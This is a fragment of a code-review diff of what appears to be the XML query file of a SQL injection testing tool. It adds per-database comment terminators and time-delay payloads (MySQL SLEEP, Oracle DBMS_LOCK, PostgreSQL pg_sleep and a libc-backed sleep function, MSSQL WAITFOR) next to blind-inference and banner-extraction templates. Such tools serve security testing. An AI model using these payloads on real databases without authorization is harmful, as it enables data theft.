||||||
|
<timedelay query="SELECT SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
|
||||||
<substring query="MID((%s), %d, %d)"/>
|
<substring query="MID((%s), %d, %d)"/>
|
||||||
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="VERSION()"/>
|
||||||
|
@ -62,6 +71,8 @@
|
||||||
<limitstring/>
|
<limitstring/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--"/>
|
||||||
|
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="SELECT UTL_INADDR.get_host_name('10.0.0.%d') FROM DUAL"/>
|
||||||
<substring query="SUBSTR((%s), %d, %d)"/>
|
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||||
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
||||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||||
|
@ -109,6 +120,8 @@
|
||||||
<limitstring query=" OFFSET "/>
|
<limitstring query=" OFFSET "/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2="/*"/>
|
||||||
|
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
|
||||||
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
<substring query="SUBSTR((%s)::text, %d, %d)"/>
|
||||||
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
|
||||||
<banner query="VERSION()"/>
|
<banner query="VERSION()"/>
|
||||||
|
@ -157,6 +170,8 @@
|
||||||
<limitstring/>
|
<limitstring/>
|
||||||
<order query="ORDER BY %s ASC"/>
|
<order query="ORDER BY %s ASC"/>
|
||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="--" query2="/*"/>
|
||||||
|
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
|
||||||
<substring query="SUBSTRING((%s), %d, %d)"/>
|
<substring query="SUBSTRING((%s), %d, %d)"/>
|
||||||
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
||||||
<banner query="@@VERSION"/>
|
<banner query="@@VERSION"/>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user